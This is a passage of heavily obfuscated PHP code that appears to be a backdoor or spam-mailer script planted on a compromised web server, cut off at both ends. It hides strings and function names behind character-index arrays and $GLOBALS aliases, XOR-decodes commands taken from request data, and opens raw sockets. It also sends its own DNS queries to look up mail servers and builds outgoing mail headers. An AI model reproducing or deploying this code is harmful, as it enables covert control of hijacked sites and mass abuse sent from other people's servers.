26[57].$z26[49].$z26[48].$z26[86].$z26[50].$z26[57].$z26[58].$z26[48].$z26[39].$z26[88].$z26[41].$z26[86].$z26[50].$z26[57].$z26[41].$z26[48].$z26[43].$z26[43].$z26[26].$z26[21].$z26[22].$z26[68].$z26[14], $mdbih30[$z26[7].$z26[45].$z26[5].$z26[96].$z26[8].$z26[55].$z26[45].$z26[1]]) || @$GLOBALS['pjogo36']($z26[5].$z26[89].$z26[85].$z26[31].$z26[35].$z26[1].$z26[45].$z26[25].$z26[31])) { $ijxwp10[$z26[23].$z26[35].$z26[85].$z26[85].$z26[85]] = FALSE; } else { $ijxwp10[$z26[23].$z26[35].$z26[85].$z26[85].$z26[85]] = TRUE; } $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1]] = $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[44].$z26[45].$z26[23].$z26[2].$z26[9]].$z26[4].$mdbih30[$z26[7].$z26[45].$z26[5].$z26[96].$z26[8].$z26[55].$z26[45].$z26[1]]; if (isset($mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[40].$z26[89].$z26[1].$z26[31]]) && $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[40].$z26[89].$z26[1].$z26[31]] != "") { $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1].$z26[16]] = $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[40].$z26[89].$z26[1].$z26[31]].$z26[29].$z26[61].$ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1]].$z26[11]; } else { $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1].$z26[16]] = $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1]]; } $ijxwp10[$z26[5].$z26[35].$z26[1].$z26[6].$z26[7].$z26[45].$z26[5].$z26[96]] = $GLOBALS['vxvhf65']($z26, $ijxwp10[$z26[23].$z26[35].$z26[25].$z26[45].$z26[1].$z26[89].$z26[2].$z26[9].$z26[96].$z26[45]]); $ijxwp10[$z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96]] = @$GLOBALS['rhpxb62']($z26[53].$z26[17].$z26[35].$z26[40].$z26[94].$z26[97].$z26[76].$z26[53], $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]], $mdbih30[$z26[5].$z26[15].$z26[46].$z26[0].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34]]); $ijxwp10[$z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96]] = @$GLOBALS['rhpxb62']($z26[53].$z26[17].$z26[35].$z26[44].$z26[40].$z26[94].$z26[97].$z26[76].$z26[53], $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[34].$z26[89].$z26[5].$z26[96]], $ijxwp10[$z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96]]); $ijxwp10[$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]] = @$GLOBALS['rhpxb62']($z26[53].$z26[17].$z26[35].$z26[40].$z26[94].$z26[97].$z26[76].$z26[53], $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[85].$z26[2].$z26[55].$z26[5].$z26[96]], $mdbih30[$z26[46].$z26[45].$z26[25].$z26[63].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34]]); $ijxwp10[$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]] = @$GLOBALS['rhpxb62']($z26[53].$z26[17].$z26[35].$z26[44].$z26[40].$z26[94].$z26[97].$z26[76].$z26[53], $ijxwp10[$z26[23].$z26[35].$z26[9].$z26[89].$z26[1].$z26[31].$z26[34].$z26[89].$z26[5].$z26[96]], $ijxwp10[$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]]); $ijxwp10[$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]] = @$GLOBALS['rhpxb62']($z26[53].$z26[97].$z26[94].$z26[71].$z26[44].$z26[35].$z26[76].$z26[40].$z26[53], $GLOBALS['tubyj82']($z26, $ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45]]), $ijxwp10[$z26[23].$z26[35].$z26[46].$z26[45].$z26[25].$z26[63]]); $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] = $z26[91].$z26[57].$z26[67].$z26[55].$z26[2].$z26[45].$z26[55].$z26[2].$z26[96].$z26[63].$z26[66].$z26[29].$z26[21].$z26[29].$z26[77].$z26[40].$z26[45].$z26[55].$z26[1].$z26[89].$z26[34].$z26[43].$z26[13].$z26[24]; $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $z26[97].$z26[71].$z26[97].$z26[76].$z26[57].$z26[32].$z26[31].$z26[55].$z26[5].$z26[2].$z26[45].$z26[9].$z26[66].$z26[29].$z26[69].$z26[82].$z26[50].$z26[13].$z26[24]; $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $z26[56].$z26[45].$z26[9].$z26[96].$z26[31].$z26[9].$z26[96].$z26[57].$z26[36].$z26[63].$z26[52].$z26[31].$z26[66].$z26[29].$z26[96].$z26[31].$z26[6].$z26[96].$z26[14].$z26[7].$z26[96].$z26[1].$z26[34].$z26[84].$z26[29].$z26[18].$z26[7].$z26[89].$z26[55].$z26[5].$z26[31].$z26[96].$z26[64].$z26[75].$z26[2].$z26[5].$z26[45].$z26[57].$z26[28].$z26[28].$z26[41].$z26[58].$z26[57].$z26[69].$z26[75].$z26[13].$z26[24]; $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $z26[56].$z26[45].$z26[9].$z26[96].$z26[31].$z26[9].$z26[96].$z26[57].$z26[36].$z26[55].$z26[89].$z26[9].$z26[5].$z26[85].$z26[31].$z26[55].$z26[57].$z26[76].$z26[9].$z26[18].$z26[45].$z26[25].$z26[2].$z26[9].$z26[23].$z26[66].$z26[29].$z26[28].$z26[46].$z26[2].$z26[96].$z26[13].$z26[24]; $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55].$z26[85].$z26[55].$z26[45].$z26[1]] = $z26[8].$z26[55].$z26[45].$z26[1].$z26[66].$z26[29].$ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1].$z26[16]].$z26[13].$z26[24]; $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55].$z26[85].$z26[55].$z26[45].$z26[1]] .= $z26[17].$z26[31].$z26[52].$z26[34].$z26[63].$z26[57].$z26[36].$z26[45].$z26[66].$ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[85].$z26[55].$z26[45].$z26[1].$z26[16]].$z26[13].$z26[24]; $ijxwp10[$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] = $z26[10].$z26[89].$z26[96].$z26[31].$z26[66].$z26[29] . @$GLOBALS['krdey40']($z26[10].$z26[54].$z26[29].$z26[0].$z26[29].$z26[97].$z26[29].$z26[80].$z26[29].$z26[95].$z26[66].$z26[2].$z26[66].$z26[5].$z26[29].$z26[3]).$z26[13].$z26[24]; $ijxwp10[$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55].$z26[85].$z26[55].$z26[45].$z26[1]]; $ijxwp10[$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $z26[97].$z26[31].$z26[5].$z26[5].$z26[89].$z26[23].$z26[31].$z26[57].$z26[71].$z26[10].$z26[66].$z26[29].$z26[61].$GLOBALS['royge30']($z26[14].$z26[77].$z26[82].$z26[26].$z26[59].$z26[22].$z26[43].$z26[77].$z26[82].$z26[26].$z26[41].$z26[22].$z26[43].$z26[77].$z26[82].$z26[26].$z26[88].$z26[22].$z26[43].$z26[82].$z26[92].$z26[14], $z26[68].$z26[69].$z26[57].$z26[68].$z26[88].$z26[57].$z26[68].$z26[21], $GLOBALS['qlafq33']($GLOBALS['akdzl43']())).$z26[4].$mdbih30[$z26[7].$z26[45].$z26[5].$z26[96].$z26[8].$z26[55].$z26[45].$z26[1]].$z26[11].$z26[13].$z26[24]; $ijxwp10[$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $z26[36].$z26[45].$z26[66].$z26[29].$ijxwp10[$z26[23].$z26[35].$z26[1].$z26[89].$z26[2].$z26[34].$z26[96].$z26[45].$z26[16]].$z26[13].$z26[24]; $ijxwp10[$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $z26[73].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96].$z26[66].$z26[29].$ijxwp10[$z26[23].$z26[35].$z26[5].$z26[15].$z26[46].$z26[0].$z26[31].$z26[18].$z26[96]].$z26[13].$z26[24]; $ijxwp10[$z26[5].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]] .= $ijxwp10[$z26[23].$z26[35].$z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55]]; return TRUE; } function xkjip29($z26, $uhspo24) { $fqavb1 = array(); $hwwwh60 = array(); if ($GLOBALS['oenkz14']($z26[23].$z26[31].$z26[96].$z26[1].$z26[6].$z26[55].$z26[55])) { @$GLOBALS['gvtpo81']($uhspo24, $fqavb1, $hwwwh60); } else { if ($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76]) == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[40].$z26[3])) { return FALSE; } $wzlix23 = $GLOBALS['axbve49']($z26, $uhspo24, $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[97].$z26[91])); if ($wzlix23 == FALSE || !isset($wzlix23[$z26[89].$z26[9].$z26[5]])) { return FALSE; } foreach ($wzlix23[$z26[89].$z26[9].$z26[5]] as $ugagf46) { if ($ugagf46[$z26[96].$z26[63].$z26[52].$z26[31]] == $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[97].$z26[91])) { $fqavb1[] = $ugagf46[$z26[25].$z26[89].$z26[96].$z26[89]]; $hwwwh60[] = $ugagf46[$z26[52].$z26[55].$z26[31].$z26[85].$z26[31].$z26[55].$z26[31].$z26[9].$z26[18].$z26[31]]; } } } if ($GLOBALS['besfv99']($fqavb1) == 0) { return FALSE; } $lhdfv83 = $GLOBALS['nhzva51']($hwwwh60, $GLOBALS['ozxut67']($hwwwh60)); return $fqavb1[$lhdfv83[0]]; } function ikhls17($z26, &$mdbih30) { if ($GLOBALS['besfv99']($GLOBALS['mjwzy5']) < 2) { return FALSE; } $aqxkr9 = false; $fiwht19 = $kbxes40 = ""; foreach ($GLOBALS['nhzva51']($GLOBALS['mjwzy5']) as $rmszw41) { if ($rmszw41[0] == $z26[34]) { $fiwht19 = $rmszw41; } if ($rmszw41[0] == $z26[25]) { $kbxes40 = $rmszw41; } if ($rmszw41[0] == $z26[31]) { $aqxkr9 = true; } } if ($fiwht19 == "" || $kbxes40 == "") { return FALSE; } $todgp59 = $GLOBALS['qvkkq65']($z26, $fiwht19, $aqxkr9 ); $mnzfy44= $GLOBALS['qvkkq65']($z26, $kbxes40, $aqxkr9); if ($todgp59 == FALSE || $mnzfy44 == FALSE) { return FALSE; } $mdbih30[$z26[96].$z26[45].$z26[44].$z26[2].$z26[5].$z26[96]] = @$GLOBALS['jlety17']($z26[14].$z26[90].$z26[14], $todgp59); $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[44].$z26[45].$z26[23].$z26[2].$z26[9]] = $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[40].$z26[89].$z26[1].$z26[31]] = $mdbih30[$z26[5].$z26[15].$z26[46].$z26[0].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34]] = $mdbih30[$z26[46].$z26[45].$z26[25].$z26[63].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34]] = ""; $rpbtb4 = array(); if (FALSE !== @$GLOBALS['aibit15']($z26[14].$z26[61].$z26[47].$z26[73].$z26[76].$z26[17].$z26[11].$z26[77].$z26[82].$z26[92].$z26[30].$z26[43].$z26[61].$z26[37].$z26[14].$z26[47].$z26[73].$z26[76].$z26[17].$z26[11].$z26[14].$z26[2].$z26[5].$z26[1], $mnzfy44, $rpbtb4) && isset($rpbtb4) && $GLOBALS['besfv99']($rpbtb4) > 1) { $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[44].$z26[45].$z26[23].$z26[2].$z26[9]] = $rpbtb4[1]; } if (FALSE !== @$GLOBALS['aibit15']($z26[14].$z26[61].$z26[40].$z26[94].$z26[97].$z26[76].$z26[11].$z26[77].$z26[82].$z26[92].$z26[30].$z26[43].$z26[61].$z26[37].$z26[14].$z26[40].$z26[94].$z26[97].$z26[76].$z26[11].$z26[14].$z26[2].$z26[5].$z26[1], $mnzfy44, $rpbtb4) && isset($rpbtb4) && $GLOBALS['besfv99']($rpbtb4) > 1) { $mdbih30[$z26[85].$z26[55].$z26[45].$z26[1].$z26[40].$z26[89].$z26[1].$z26[31]] = $rpbtb4[1]; } if (FALSE !== @$GLOBALS['aibit15']($z26[14].$z26[61].$z26[73].$z26[47].$z26[70].$z26[12].$z26[11].$z26[77].$z26[82].$z26[92].$z26[30].$z26[43].$z26[61].$z26[37].$z26[14].$z26[73].$z26[47].$z26[70].$z26[12].$z26[11].$z26[14].$z26[2].$z26[5].$z26[1], $mnzfy44, $rpbtb4) && isset($rpbtb4) && $GLOBALS['besfv99']($rpbtb4) > 1) { $mdbih30[$z26[5].$z26[15].$z26[46].$z26[0].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34]] = $rpbtb4[1]; } if (FALSE !== @$GLOBALS['aibit15']($z26[14].$z26[61].$z26[73].$z26[70].$z26[3].$z26[10].$z26[80].$z26[11].$z26[77].$z26[82].$z26[92].$z26[30].$z26[43].$z26[61].$z26[37].$z26[14].$z26[73].$z26[70].$z26[3].$z26[10].$z26[80].$z26[11].$z26[14].$z26[2].$z26[5].$z26[1],$mnzfy44, $rpbtb4) && isset($rpbtb4) && $GLOBALS['besfv99']($rpbtb4) > 1) { $mdbih30[$z26[46].$z26[45].$z26[25].$z26[63].$z26[36].$z26[31].$z26[1].$z26[52].$z26[34]] = $rpbtb4[1]; } $mdbih30[$z26[7].$z26[45].$z26[5].$z26[96].$z26[8].$z26[55].$z26[45].$z26[1]] = @$GLOBALS['royge30']($z26[14].$z26[27].$z26[77].$z26[33].$z26[33].$z26[33].$z26[39].$z26[85].$z26[96].$z26[52].$z26[43].$z26[37].$z26[82].$z26[14].$z26[2], '', $_SERVER[$z26[19].$z26[36].$z26[36].$z26[67].$z26[35].$z26[19].$z26[3].$z26[73].$z26[36]]); return TRUE; } function znlzs76($z26, $rmszw41, $aqxkr9) { if (!isset($rmszw41) || $rmszw41 == "") { return FALSE; } $uikzk1 = @$GLOBALS['mjwzy5'][$rmszw41]; if ($aqxkr9) { $uikzk1 = $GLOBALS['jmhla61']($z26, $uikzk1); for($lhdfv83 = 0; $lhdfv83 < $GLOBALS['qujzg48']($uikzk1); $lhdfv83++) { $uikzk1[$lhdfv83]= $GLOBALS['bnmbe55']($GLOBALS['hmhgt49']($uikzk1[$lhdfv83]) ^ 2); } } return $GLOBALS['utaus24']($GLOBALS['zmzwd84']($uikzk1)); } function mcsos2($z26, $wbwms58) { $smtab80=""; for($irsck14=0;$irsck14<256;$irsck14++){$pishb35[$irsck14]=$GLOBALS['bnmbe55']($irsck14);} $woayt44=$GLOBALS['ujqqf49']($GLOBALS['jlety17']($z26[14].$z26[14],$z26[94].$z26[70].$z26[56].$z26[10].$z26[76].$z26[8].$z26[95].$z26[19].$z26[71].$z26[12].$z26[78].$z26[44].$z26[97].$z26[40].$z26[3].$z26[67].$z26[83].$z26[17].$z26[73].$z26[36].$z26[47].$z26[32].$z26[65].$z26[91].$z26[80].$z26[93].$z26[89].$z26[46].$z26[18].$z26[25].$z26[31].$z26[85].$z26[23].$z26[7].$z26[2].$z26[0].$z26[60].$z26[34].$z26[1].$z26[9].$z26[45].$z26[52].$z26[42].$z26[55].$z26[5].$z26[96].$z26[15].$z26[87].$z26[33].$z26[6].$z26[63].$z26[20].$z26[50].$z26[69].$z26[88].$z26[21].$z26[49].$z26[41].$z26[74].$z26[59].$z26[28].$z26[58].$z26[16].$z26[14],-1,1)); $abcgp89 = array(); $GLOBALS['ifrrf77']($z26[77].$z26[86].$z26[94].$z26[57].$z26[20].$z26[50].$z26[57].$z26[58].$z26[16].$z26[37].$z26[14].$z26[48].$z26[26].$z26[69].$z26[54].$z26[49].$z26[22].$z26[43],$wbwms58,$abcgp89); foreach($abcgp89[0] as $yoqlr75){ $dfltb35=0; for($irsck14=0;isset($yoqlr75[$irsck14]);$irsck14++){ $dfltb35=($dfltb35<<6)+$woayt44[$yoqlr75[$irsck14]]; if($irsck14>0){ $smtab80.=$pishb35[$dfltb35>>(4-(2*($irsck14-1)))];$dfltb35=$dfltb35&(0xf>>(2*($irsck14-1))); } } } return $smtab80; } function jcrxt31($z26, $kdxpk32) { for($lhdfv83 = 0; $lhdfv83 < $GLOBALS['qujzg48']($kdxpk32); $lhdfv83++) { $kdxpk32[$lhdfv83] = $GLOBALS['bnmbe55']($GLOBALS['hmhgt49']($kdxpk32[$lhdfv83]) ^ 2);} return $GLOBALS['ztope57']($kdxpk32); } function jotsk26($z26, $cxtve87, $esjes80, $rvcis8, $mzwog99, $mljir34, &$qxohi56, &$qhovh99, $vanjd40 = false) { $jkase3 = ""; $jiccl67 = NULL; $giusw3 = NULL; $qxohi56 = 0; $qhovh99 = ""; if ($esjes80 == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[67].$z26[17].$z26[3].$z26[36].$z26[3].$z26[35].$z26[36].$z26[56].$z26[67])) { $jkase3 = $z26[96].$z26[18].$z26[52]; $jiccl67 = SOL_TCP; $giusw3 = SOCK_STREAM; } else if ($esjes80 == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[67].$z26[17].$z26[3].$z26[36].$z26[3].$z26[35].$z26[47].$z26[10].$z26[67])) { $jkase3 = $z26[15].$z26[25].$z26[52]; $giusw3 = SOCK_DGRAM; $jiccl67 = SOL_UDP; } else { $qhovh99 = $z26[76].$z26[55].$z26[55].$z26[45].$z26[55].$z26[66].$z26[29].$z26[2].$z26[9].$z26[87].$z26[89].$z26[34].$z26[2].$z26[25].$z26[29].$z26[52].$z26[55].$z26[45].$z26[96].$z26[45].$z26[18].$z26[45].$z26[34]; return FALSE; } switch($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76])) { case $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36]): if ($cxtve87 == FALSE) { $cxtve87 = @$GLOBALS['mlygh38'](AF_INET, $giusw3, $jiccl67); if ($cxtve87 == FALSE) { $qxohi56 = $GLOBALS['tpzik24'](); $qhovh99 = $GLOBALS['bxcji64']($qxohi56); break; } $GLOBALS['ynqyo69']($cxtve87 , SOL_SOCKET, SO_REUSEADDR, 1); $GLOBALS['ynqyo69']($cxtve87 , SOL_SOCKET, SO_RCVTIMEO, array($z26[5].$z26[31].$z26[18] => $mljir34, $z26[15].$z26[5].$z26[31].$z26[18] => 0)); $GLOBALS['ynqyo69']($cxtve87 , SOL_SOCKET, SO_SNDTIMEO, array($z26[5].$z26[31].$z26[18] => $mljir34, $z26[15].$z26[5].$z26[31].$z26[18] => 0)); if ($vanjd40) { $GLOBALS['fofco25']($cxtve87); } } if (!@$GLOBALS['hpaqw69']($cxtve87, $rvcis8, $mzwog99)) { $qxohi56 = $GLOBALS['tpzik24']($cxtve87); $qhovh99 = $GLOBALS['bxcji64']($qxohi56); } if ($vanjd40) { $GLOBALS['fofco25']($cxtve87); } break; case $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[8].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36]): $cxtve87 = @$GLOBALS['lsftb14']($jkase3.$z26[66].$z26[14].$z26[14].$rvcis8, $mzwog99, $qxohi56, $qhovh99, $mljir34); if ($cxtve87 && $vanjd40) { @$GLOBALS['jydge81']($cxtve87, 0); } @$GLOBALS['xxhac19']($cxtve87, $mljir34); break; case $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[36].$z26[17].$z26[76].$z26[94].$z26[97]): $cxtve87 = @$GLOBALS['sqjqb6']($jkase3.$z26[66].$z26[14].$z26[14].$rvcis8.$z26[66].$mzwog99, $qxohi56, $qhovh99, $mljir34); if ($cxtve87 && $vanjd40) { @$GLOBALS['jydge81']($cxtve87, 0); } @$GLOBALS['xxhac19']($cxtve87, $mljir34); break; default: $qhovh99 = $z26[76].$z26[55].$z26[55].$z26[45].$z26[55].$z26[66].$z26[29].$z26[2].$z26[9].$z26[87].$z26[89].$z26[34].$z26[2].$z26[25].$z26[29].$z26[5].$z26[45].$z26[18].$z26[60].$z26[31].$z26[96].$z26[29].$z26[96].$z26[63].$z26[52].$z26[31]; return FALSE; } return $cxtve87; } function wowhk28($z26, &$cxtve87) { if ($cxtve87 == FALSE) { return; } if ($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76]) == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])) { @$GLOBALS['mpbyg6']($cxtve87); } else { @$GLOBALS['oiyff86']($cxtve87); } $cxtve87 = FALSE; return; } function dorhi25($z26, $cxtve87, $mrbns89, &$qxohi56, &$qhovh99) { if ($cxtve87 == FALSE) { return FALSE; } if ($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76]) == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])) { $smtab80 = @$GLOBALS['jriui70']($cxtve87, $mrbns89, PHP_BINARY_READ); if ($smtab80 == FALSE) { $qxohi56 = $GLOBALS['tpzik24']($cxtve87); $qhovh99 = $GLOBALS['bxcji64']($qxohi56); } } else { if (@$GLOBALS['iaovb66']($cxtve87)) { return FALSE; } $smtab80 = @$GLOBALS['gkopq16']($cxtve87, $mrbns89); if ($GLOBALS['qujzg48']($smtab80) == 0) { $qxohi56 = 35; } } return $smtab80; } function mqmpb31($z26, $cxtve87, $ssndb82, &$qxohi56, &$qhovh99) { if ($cxtve87 == FALSE) { return FALSE; } if ($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76]) == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])) { $smtab80 = @$GLOBALS['acnwa34']($cxtve87, $ssndb82); if ($smtab80 == FALSE) { $qxohi56 = $GLOBALS['tpzik24']($cxtve87); $qhovh99 = $GLOBALS['bxcji64']($qxohi56); } } else { if (@$GLOBALS['iaovb66']($cxtve87)) { return FALSE; } $smtab80 = @$GLOBALS['pybsn6']($cxtve87, $ssndb82); } return $smtab80; } function hrvzk54($z26, $cxtve87, $mljir34) { if ($cxtve87 == FALSE) { return FALSE; } if ($GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76]) == $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[36].$z26[80].$z26[67].$z26[76].$z26[35].$z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36])) { @$GLOBALS['ynqyo69']($cxtve87 , SOL_SOCKET, SO_RCVTIMEO, array($z26[5].$z26[31].$z26[18] => $mljir34, $z26[15].$z26[5].$z26[31].$z26[18] => 0)); @$GLOBALS['ynqyo69']($cxtve87 , SOL_SOCKET, SO_SNDTIMEO, array($z26[5].$z26[31].$z26[18] => $mljir34, $z26[15].$z26[5].$z26[31].$z26[18] => 0)); } else { @$GLOBALS['xxhac19']($cxtve87, $mljir34); } return TRUE; } function nphbj94($z26, $uhspo24, $jflhq92) { $qxohi56 = 0; $qhovh99 = ""; $cxtve87 = $GLOBALS['vuwpm73']($z26, FALSE, $GLOBALS['nmgeu13']($z26[73].$z26[3].$z26[56].$z26[78].$z26[76].$z26[36].$z26[35].$z26[67].$z26[17].$z26[3].$z26[36].$z26[3].$z26[35].$z26[47].$z26[10].$z26[67]), $z26[28].$z26[82].$z26[28].$z26[82].$z26[28].$z26[82].$z26[28], 53, 10, $qxohi56, $qhovh99); if (!$cxtve87) { return FALSE; } $clels79 = $GLOBALS['ytjac16'](0x0001, 0xFFFE); $owgby12 = $GLOBALS['opohr97']($z26[82], $uhspo24); $uyafb15 = $GLOBALS['iewnf77']($z26[9].$z26[9].$z26[9].$z26[9].$z26[9].$z26[9], $clels79, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000); foreach($owgby12 as $qblja54) { $uyafb15 .= $GLOBALS['iewnf77']($z26[56].$z26[89].$z26[92], $GLOBALS['qujzg48']($qblja54), $qblja54); } $uyafb15.= $GLOBALS['iewnf77']($z26[56].$z26[9].$z26[9], 0x00, $jflhq92, 0x0001); $wzlix23 = $GLOBALS['vbmgn26']($z26, $cxtve87, $uyafb15, $qxohi56, $qhovh99); if (!$wzlix23 || $wzlix23 != $GLOBALS['qujzg48']($uyafb15)) { $GLOBALS['lecyc16']($z26, $cxtve87); return FALSE; } $zfcav5 = $GLOBALS['yfhmb1']($z26, $cxtve87, 4086, $qxohi56, $qhovh99); if ($zfcav5 == FALSE || $GLOBALS['qujzg48']($zfcav5) < 12) { $GLOBALS['lecyc16']($z26, $cxtve87); return FALSE; } $mpugn39 = $GLOBALS['lavnu82']($z26[9].$z26[96].$z26[2].$z26[25].$z26[14].$z26[9].$z26[85].$z26[34].$z26[89].$z26[23].$z26[5].$z26[14].$z26[9].$z26[42].$z26[15].$z26[31].$z26[14].$z26[9].$z26[89].$z26[9].$z26[5].$z26[14].$z26[9].$z26[89].$z26[15].$z26[96].$z26[7].$z26[14].$z26[9].$z26[89].$z26[25].$z26[25], substr($zfcav5, 0, 12)); $syfkf90 = 12; $smtab80 = array($z26[7].$z26[31].$z26[89].$z26[25].$z26[31].$z26[55] => $mpugn39); for ($irsck14 = $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[76].$z26[73].$z26[36].$z26[71].$z26[3].$z26[40]); $irsck14 <= $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[94].$z26[10].$z26[10].$z26[71].$z26[36].$z26[71].$z26[3].$z26[40].$z26[94].$z26[44]); $irsck14++) { $mggto64 = ''; switch ($irsck14) { case $GLOBALS['nmgeu13']($z26[10].$z26[40].$z26[73].$z26[35].$z26[73].$z26[36].$z26[76].$z26[67].$z26[35].$z26[83].$z26[76].$z26[73].$z26[36].$z26[71].$z26[3].$z26[40]): $mggto64 = $z26[42].$z26[15].$z26[31]; break; case 